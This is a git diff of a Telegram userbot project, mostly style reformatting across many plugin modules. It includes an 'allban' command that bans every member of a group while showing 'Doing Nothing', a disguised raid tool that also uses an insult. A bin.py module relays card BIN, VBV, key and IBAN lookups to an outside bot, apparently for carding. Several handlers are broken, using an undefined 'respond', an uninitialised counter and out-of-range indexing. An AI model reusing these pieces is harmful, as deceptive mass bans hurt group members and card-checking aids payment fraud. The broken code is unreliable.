@danish_00 -#team cobra +# team cobra from asyncio import sleep -from telethon.tl.types import ChatBannedRights, ChannelParticipantsAdmins, ChatAdminRights + from telethon.tl.functions.channels import EditBannedRequest -from ..utils import admin_cmd +from telethon.tl.types import ChatBannedRights + from fridaybot import bot +from ..utils import admin_cmd + @bot.on(admin_cmd(pattern=r"allban", outgoing=True)) async def testing(event): @@ -17,15 +20,21 @@ async def testing(event): if not admin and not creator: await event.edit(" U Don't have sufficient permission 🧐 u noob 😑😑") return - await event.edit("Doing Nothing 🙃🙂")#Kang with Credits -# for Dark_Cobra + await event.edit("Doing Nothing 🙃🙂") # Kang with Credits + # for Dark_Cobra everyone = await event.client.get_participants(event.chat_id) for user in everyone: if user.id == chutiya.id: pass try: - await event.client(EditBannedRequest(event.chat_id, int(user.id), ChatBannedRights(until_date=None,view_messages=True))) + await event.client( + EditBannedRequest( + event.chat_id, + int(user.id), + ChatBannedRights(until_date=None, view_messages=True), + ) + ) except Exception as e: await event.edit(str(e)) - await sleep(.5) + await sleep(0.5) await event.edit("Nothing Happend here🙃🙂") diff --git a/fridaybot/modules/animation1.py b/fridaybot/modules/animation1.py index 1cf7fcb6..b3ba6a33 100644 --- a/fridaybot/modules/animation1.py +++ b/fridaybot/modules/animation1.py @@ -1,9 +1,10 @@ import asyncio from collections import deque -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import ALIVE_NAME, CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" diff --git a/fridaybot/modules/animation2.py b/fridaybot/modules/animation2.py index 21914921..3b10d986 100644 --- a/fridaybot/modules/animation2.py +++ b/fridaybot/modules/animation2.py @@ -1,9 +1,10 @@ import asyncio from collections import deque -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import ALIVE_NAME, CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" diff --git a/fridaybot/modules/animation3.py b/fridaybot/modules/animation3.py index c69970a7..085ceb31 100644 --- a/fridaybot/modules/animation3.py +++ b/fridaybot/modules/animation3.py @@ -1,8 +1,9 @@ import asyncio -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import ALIVE_NAME, CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" @@ -59,8 +60,6 @@ async def _(event): await event.delete() - - @bot.on(admin_cmd(pattern=f"human$", outgoing=True)) @bot.on(sudo_cmd(pattern="human$", allow_sudo=True)) async def _(event): diff --git a/fridaybot/modules/animation4.py b/fridaybot/modules/animation4.py index ea23a248..157bbc66 100644 --- a/fridaybot/modules/animation4.py +++ b/fridaybot/modules/animation4.py @@ -2,9 +2,10 @@ import asyncio -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern=f"loding$", outgoing=True)) @bot.on(sudo_cmd(pattern=f"loding$", allow_sudo=True)) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 1da36dff..20ef20b2 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -1,19 +1,17 @@ import asyncio -from telethon import events + from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights -from ..utils import admin_cmd -from fridaybot.modules.sql_helper import floodsql as sql -import fridaybot.utils -from fridaybot.utils import humanbytes, progress, time_formatter + from fridaybot import CMD_HELP +from fridaybot.modules.sql_helper import floodsql as sql + +from ..utils import admin_cmd CHAT_FLOOD = sql.__load_flood_settings() # warn mode for anti flood ANTI_FLOOD_WARN_MODE = ChatBannedRights( - until_date=None, - view_messages=None, - send_messages=True + until_date=None, view_messages=None, send_messages=True ) @@ -29,31 +27,34 @@ async def _(event): if not should_ban: return try: - await event.client(EditBannedRequest( - event.chat_id, - event.message.from_id, - ANTI_FLOOD_WARN_MODE - )) + await event.client( + EditBannedRequest( + event.chat_id, event.message.from_id, ANTI_FLOOD_WARN_MODE + ) + ) except Exception as e: # pylint:disable=C0103,W0703 no_admin_privilege_message = await event.client.send_message( entity=event.chat_id, message="""**Automatic AntiFlooder** @admin [User](tg://user?id={}) is flooding this chat. -`{}`""".format(event.message.from_id, str(e)), - reply_to=event.message.id +`{}`""".format( + event.message.from_id, str(e) + ), + reply_to=event.message.id, ) await asyncio.sleep(10) await no_admin_privilege_message.edit( - "This is useless SPAM dude . stop this enjoy chat man ", - link_preview=False + "This is useless SPAM dude . stop this enjoy chat man ", link_preview=False ) else: await event.client.send_message( entity=event.chat_id, message="""**Automatic AntiFlooder** [User](tg://user?id={}) has been automatically restricted -because he reached the defined flood limit.""".format(event.message.from_id), - reply_to=event.message.id +because he reached the defined flood limit.""".format( + event.message.from_id + ), + reply_to=event.message.id, ) @@ -64,15 +65,18 @@ async def _(event): input_str = event.pattern_match.group(1) try: sql.set_flood(event.chat_id, input_str) - CHAT_FLOOD = sql.__load_flood_settings() - await event.edit("Antiflood updated to {} in the current chat".format(input_str)) + sql.__load_flood_settings() + await event.edit( + "Antiflood updated to {} in the current chat".format(input_str) + ) except Exception as e: # pylint:disable=C0103,W0703 await event.edit(str(e)) -CMD_HELP.update({ - "antiflood": - ".setflood [number]\ +CMD_HELP.update( + { + "antiflood": ".setflood [number]\ \nUsage: warns the user if he spams the chat if you are admin mutes him in that group .\ " -}) + } +) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index c0e36a79..65cf9e09 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -1,10 +1,8 @@ from telethon.events import ChatAction -from telethon import events -from telethon.tl.functions.users import GetFullUserRequest + from fridaybot import bot, sclient from fridaybot.Configs import Config - """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" @@ -31,7 +29,8 @@ async def ok(event): pass else: pass - + + @borg.on(ChatAction) async def dnamg(event): okbruh = await borg.get_me() diff --git a/fridaybot/modules/antivirus.py b/fridaybot/modules/antivirus.py index 7954f520..b2b80837 100644 --- a/fridaybot/modules/antivirus.py +++ b/fridaybot/modules/antivirus.py @@ -1,9 +1,11 @@ # Lots of lub to @r4v4n4 for gibing the base <3 from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from ..utils import admin_cmd, edit_or_reply, sudo_cmd + from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="scan ?(.*)")) @bot.on(sudo_cmd(pattern="scan ?(.*)")) diff --git a/fridaybot/modules/app.py b/fridaybot/modules/app.py index e55b137b..0df44081 100644 --- a/fridaybot/modules/app.py +++ b/fridaybot/modules/app.py @@ -152,9 +152,6 @@ async def apkr(event): await event.edit("Exception Occured:- " + str(err)) - - - CMD_HELP.update( { "app": ".app [app name]\ diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 63dae41d..6cfd3c78 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -9,17 +9,16 @@ import shutil import tarfile import time -import time as ti -import zipfile -import patoolib from datetime import datetime +import patoolib from hachoir.metadata import extractMetadata from hachoir.parser import createParser from telethon.tl.types import DocumentAttributeVideo from fridaybot import CMD_HELP from fridaybot.Configs import Config as Var + from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" @@ -28,8 +27,6 @@ os.makedirs(extracted) - - @borg.on(admin_cmd(pattern=("rar ?(.*)"))) async def _(event): if event.fwd_from: @@ -41,10 +38,9 @@ async def _(event): if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - + downloaded_file_name = await borg.download_media( - reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("creating rar archive, please wait..") @@ -90,10 +86,9 @@ async def _(event): if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - + downloaded_file_name = await borg.download_media( - reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("creating 7z archive, please wait..") @@ -137,10 +132,9 @@ async def _(event): if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - + downloaded_file_name = await borg.download_media( - reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("Finish downloading to my local") @@ -209,8 +203,6 @@ async def create_archive(input_directory): return return_name - - @borg.on(admin_cmd(pattern="unrar")) async def _(event): if event.fwd_from: @@ -222,10 +214,9 @@ async def _(event): start = datetime.now() reply_message = await event.get_reply_message() try: - + downloaded_file_name = await borg.download_media( - reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) @@ -316,8 +307,7 @@ async def _(event): try: c_time = time.time() downloaded_file_name = await borg.download_media( - reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY + reply_message, Var.TEMP_DOWNLOAD_DIRECTORY ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) diff --git a/fridaybot/modules/art.py b/fridaybot/modules/art.py index 28af0707..c9de386c 100644 --- a/fridaybot/modules/art.py +++ b/fridaybot/modules/art.py @@ -1,7 +1,8 @@ # Edit credit @Sur_vivor & @jisan7509 -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import ALIVE_NAME, CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + DEF = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" diff --git a/fridaybot/modules/assistant/main_assistant.py b/fridaybot/modules/assistant/main_assistant.py index 976f58e6..59df5acb 100644 --- a/fridaybot/modules/assistant/main_assistant.py +++ b/fridaybot/modules/assistant/main_assistant.py @@ -16,8 +16,8 @@ import os import re -from telethon import Button, custom, events, functions import telethon +from telethon import Button, custom, events, functions from telethon.tl.functions.users import GetFullUserRequest from telethon.utils import pack_bot_file_id @@ -35,6 +35,7 @@ get_all_users, ) + @assistant_cmd("start", is_args=False) async def start(event): starkbot = await tgbot.get_me() @@ -136,8 +137,10 @@ async def all_messages_catcher(event): ) ) except telethon.errors.rpcerrorlist.UserNotParticipantError: - await event.reply(f"**Opps, I Couldn't Forward That Message To Owner. Please Join My Channel First And Then Try Again!**", - buttons = [Button.url("Join Channel ", Config.JTM_CHANNEL_USERNAME)]) + await event.reply( + f"**Opps, I Couldn't Forward That Message To Owner. Please Join My Channel First And Then Try Again!**", + buttons=[Button.url("Join Channel ", Config.JTM_CHANNEL_USERNAME)], + ) return if is_he_added(event.sender_id): return @@ -182,14 +185,13 @@ async def sed(event): ) -@assistant_cmd("broadcast", is_args='heck') +@assistant_cmd("broadcast", is_args="heck") @god_only async def sedlyfsir(event): msgtobroadcast = event.text.split(" ", maxsplit=1)[1] userstobc = get_all_users() error_count = 0 sent_count = 0 - hmmok = "" if msgtobroadcast == None: await event.reply("`Wait. What? Broadcast None?`") return diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 78ea9a7f..d05a6712 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -16,8 +16,11 @@ from pySmartDL import SmartDL from telethon.errors import FloodWaitError from telethon.tl import functions + from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd, edit_or_reply + +from ..utils import admin_cmd, edit_or_reply + AUTONAME = os.environ.get("AUTONAME", None) DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " diff --git a/fridaybot/modules/bigoof.py b/fridaybot/modules/bigoof.py index 6c6e6da7..c0261ac4 100644 --- a/fridaybot/modules/bigoof.py +++ b/fridaybot/modules/bigoof.py @@ -7,33 +7,34 @@ # Main Credits Goes to @T3b0N3 # He Worked Very Hard to do this, So Please Respect Him!! -from telethon import events import asyncio from ..utils import admin_cmd + @borg.on(admin_cmd("bigoof")) async def _(event): if event.fwd_from: return animation_interval = 0.1 - animation_ttl = range(0,36) - #input_str = event.pattern_match.group(1) - # if input_str == "nope": - await event.edit("┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛") + animation_ttl = range(0, 36) + # input_str = event.pattern_match.group(1) + # if input_str == "nope": + await event.edit( + "┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛" + ) animation_chars = [ - "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ", - "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯", - "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", - "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", - "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯", - "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", - "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯" - ] - + "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ", + "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", + ] for i in animation_ttl: - + await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 40]) diff --git a/fridaybot/modules/bin.py b/fridaybot/modules/bin.py index 20fb7d18..a0456047 100644 --- a/fridaybot/modules/bin.py +++ b/fridaybot/modules/bin.py @@ -1,102 +1,112 @@ - # pata nhi sir 👀👀👀👀 -from telethon import functions, types, events -from telethon.tl.functions.messages import DeleteHistoryRequest -from fridaybot import bot as danish_00 +from telethon import events, functions from telethon.errors.rpcerrorlist import YouBlockedUserError -from telethon.tl.functions.account import UpdateNotifySettingsRequest + +from fridaybot import bot as danish_00 + from ..utils import admin_cmd as danishehe + @danish_00.on(danishehe(pattern="bin2 ?(.*)")) async def _(event): if event.fwd_from: - return + return danish = event.pattern_match.group(1) chat = "@Carol5_bot" await event.edit("Searching ur bin 😅😁...") async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) - await event.client.send_message(chat, "/bin {}".format(danish)) - respond = await response - except YouBlockedUserError: - await event.reply("Boss! Please Unblock @Carol5_bot ") - return - if respond.text.startswith(" "): - await event.edit("That bot is dead bro now this cmd is useless 😂😂") - else: - - await event.client.send_message(event.chat_id, respond.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/bin {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) await event.delete() - + + @danish_00.on(danishehe(pattern="vbv ?(.*)")) async def _(event): if event.fwd_from: - return - + return + danish = event.pattern_match.group(1) chat = "@Carol5_bot" await event.edit("Connecting...") async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) - await event.client.send_message(chat, "/vbv {}".format(danish)) - respond = await response - except YouBlockedUserError: - await event.reply("Boss! Please Unblock @Carol5_bot ") - return - if respond.text.startswith(" "): - await event.edit("That bot is dead bro now this cmd is useless 😂😂") - else: - - await event.client.send_message(event.chat_id, respond.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/vbv {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) await event.delete() - + + @danish_00.on(danishehe(pattern="key ?(.*)")) async def _(event): if event.fwd_from: - return - + return + danish = event.pattern_match.group(1) chat = "@Carol5_bot" await event.edit("Connecting...") async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) - await event.client.send_message(chat, "/key {}".format(danish)) - response = await response - except YouBlockedUserError: - await event.reply("Boss! Please Unblock @Carol5_bot ") - return - if response.text.startswith(" "): - await event.edit("That bot is dead bro now this cmd is useless 😂😂") - else: - await event.client.send_message(event.chat_id, respond.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/key {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) await event.delete() - + + @danish_00.on(danishehe(pattern="iban2 ?(.*)")) async def _(event): if event.fwd_from: - return - + return + danish = event.pattern_match.group(1) chat = "@Carol5_bot" await event.edit("Connecting...") async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) - await event.client.send_message(chat, "/iban {}".format(danish)) - response = await response - except YouBlockedUserError: - await event.reply("Boss! Please Unblock @Carol5_bot ") - return - if response.text.startswith(" "): - await event.edit("That bot is dead bro now this cmd is useless 😂😂") - else: - await event.client.send_message(event.chat_id, respond.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/iban {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) await event.delete() - diff --git a/fridaybot/modules/blacklist.py b/fridaybot/modules/blacklist.py index 8d5eb336..6445894e 100644 --- a/fridaybot/modules/blacklist.py +++ b/fridaybot/modules/blacklist.py @@ -10,10 +10,11 @@ from telethon import events -from .sql_helper import blacklist_sql as sql from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from .sql_helper import blacklist_sql as sql + @friday.on(events.NewMessage(incoming=True)) async def on_new_message(event): diff --git a/fridaybot/modules/books.py b/fridaybot/modules/books.py index c7372bb7..a0c6d4ba 100644 --- a/fridaybot/modules/books.py +++ b/fridaybot/modules/books.py @@ -11,16 +11,16 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -import requests import os import re -import sys + +import requests from bs4 import BeautifulSoup -from urllib.request import Request, urlopen, urlretrieve -from uniborg.util import friday_on_cmd + from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd + @friday.on(admin_cmd(pattern="book (.*)")) async def _(event): if event.fwd_from: @@ -30,44 +30,50 @@ async def _(event): await event.edit("searching for the book...") lin = "https://b-ok.cc/s/" text = input_str - link = lin+text + link = lin + text - headers = ['User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0'] + headers = [ + "User-Agent", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0", + ] page = requests.get(link) - soup = BeautifulSoup(page.content, 'html.parser') - f = open("book.txt",'w') + soup = BeautifulSoup(page.content, "html.parser") + f = open("book.txt", "w") total = soup.find(class_="totalCounter") for nb in total.descendants: - nbx = nb.replace("(", "").replace(")", "") + nbx = nb.replace("(", "").replace(")", "") if nbx == "0": await event.edit("No Books Found with that name.") else: - for tr in soup.find_all('td'): - for td in tr.find_all('h3'): - for ts in td.find_all('a'): + for tr in soup.find_all("td"): + for td in tr.find_all("h3"): + for ts in td.find_all("a"): title = ts.get_text() - lool = lool+1 - for ts in td.find_all('a', attrs={'href': re.compile("^/book/")}): - ref = (ts.get('href')) + lool = lool + 1 + for ts in td.find_all("a", attrs={"href": re.compile("^/book/")}): + ref = ts.get("href") link = "https://b-ok.cc" + ref - f.write("\n"+title) - f.write("\nBook link:- " + link+"\n\n") + f.write("\n" + title) + f.write("\nBook link:- " + link + "\n\n") f.write("By VirtualUserbot.") f.close() - caption="By VirtualUserbot.\n Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot)" + caption = "By VirtualUserbot.\n Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot)" - await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY VIRTUALUSERBOT. Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).**") + await borg.send_file( + event.chat_id, + "book.txt", + caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY VIRTUALUSERBOT. Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).**", + ) os.remove("book.txt") - CMD_HELP.update( { "booksdl": "**Books Scraper**\ \n\n**Syntax : **`.book `\ \n**Usage :** Gets Instant Download Link Of Given Book." } -) +) diff --git a/fridaybot/modules/carbonRGB.py b/fridaybot/modules/carbonRGB.py index a964165e..96a03448 100644 --- a/fridaybot/modules/carbonRGB.py +++ b/fridaybot/modules/carbonRGB.py @@ -3,117 +3,126 @@ Thanks to dev for THIS PLUGIN""" -from selenium.webdriver.support.ui import Select -from selenium.webdriver.chrome.options import Options -from selenium import webdriver -from telethon import events -from urllib.parse import quote_plus -from urllib.error import HTTPError -from time import sleep -import asyncio import os import random -from ..utils import admin_cmd +from time import sleep +from urllib.parse import quote_plus + +from selenium import webdriver +from selenium.webdriver.chrome.options import Options + from fridaybot import CMD_HELP -#@borg.on(events.NewMessage(pattern=r"\.karb ", outgoing=True)) +from ..utils import admin_cmd + + +# @borg.on(events.NewMessage(pattern=r"\.karb ", outgoing=True)) @borg.on(admin_cmd(pattern="karb")) async def carbon_api(e): - RED = random.randint(0,256) - GREEN = random.randint(0,256) - BLUE = random.randint(0,256) - THEME= [ "3024-night", - "a11y-dark", - "blackboard", - "base16-dark", - "base16-light", - "cobalt", - "dracula", - "duotone-dark", - "hopscotch", - "lucario", - "material", - "monokai", - "night-owl", - "nord", - "oceanic-next", - "one-light", - "one-dark", - "panda-syntax", - "paraiso-dark", - "seti", - "shades-of-purple", - "solarized", - "solarized%20light", - "synthwave-84", - "twilight", - "verminal", - "vscode", - "yeti", - "zenburn", -] + RED = random.randint(0, 256) + GREEN = random.randint(0, 256) + BLUE = random.randint(0, 256) + THEME = [ + "3024-night", + "a11y-dark", + "blackboard", + "base16-dark", + "base16-light", + "cobalt", + "dracula", + "duotone-dark", + "hopscotch", + "lucario", + "material", + "monokai", + "night-owl", + "nord", + "oceanic-next", + "one-light", + "one-dark", + "panda-syntax", + "paraiso-dark", + "seti", + "shades-of-purple", + "solarized", + "solarized%20light", + "synthwave-84", + "twilight", + "verminal", + "vscode", + "yeti", + "zenburn", + ] - CUNTHE = random.randint(0, len(THEME) - 1) - The = THEME[CUNTHE] + CUNTHE = random.randint(0, len(THEME) - 1) + The = THEME[CUNTHE] + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + """ A Wrapper for carbon.now.sh """ + await e.edit("⬜⬜⬜⬜⬜") + CARBON = "https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}" + CARBONLANG = "en" + textx = await e.get_reply_message() + pcode = e.text + if pcode[6:]: + pcode = str(pcode[6:]) + elif textx: + pcode = str(textx.message) # Importing message to module + code = quote_plus(pcode) # Converting to urlencoded + url = CARBON.format(code=code, R=RED, G=GREEN, 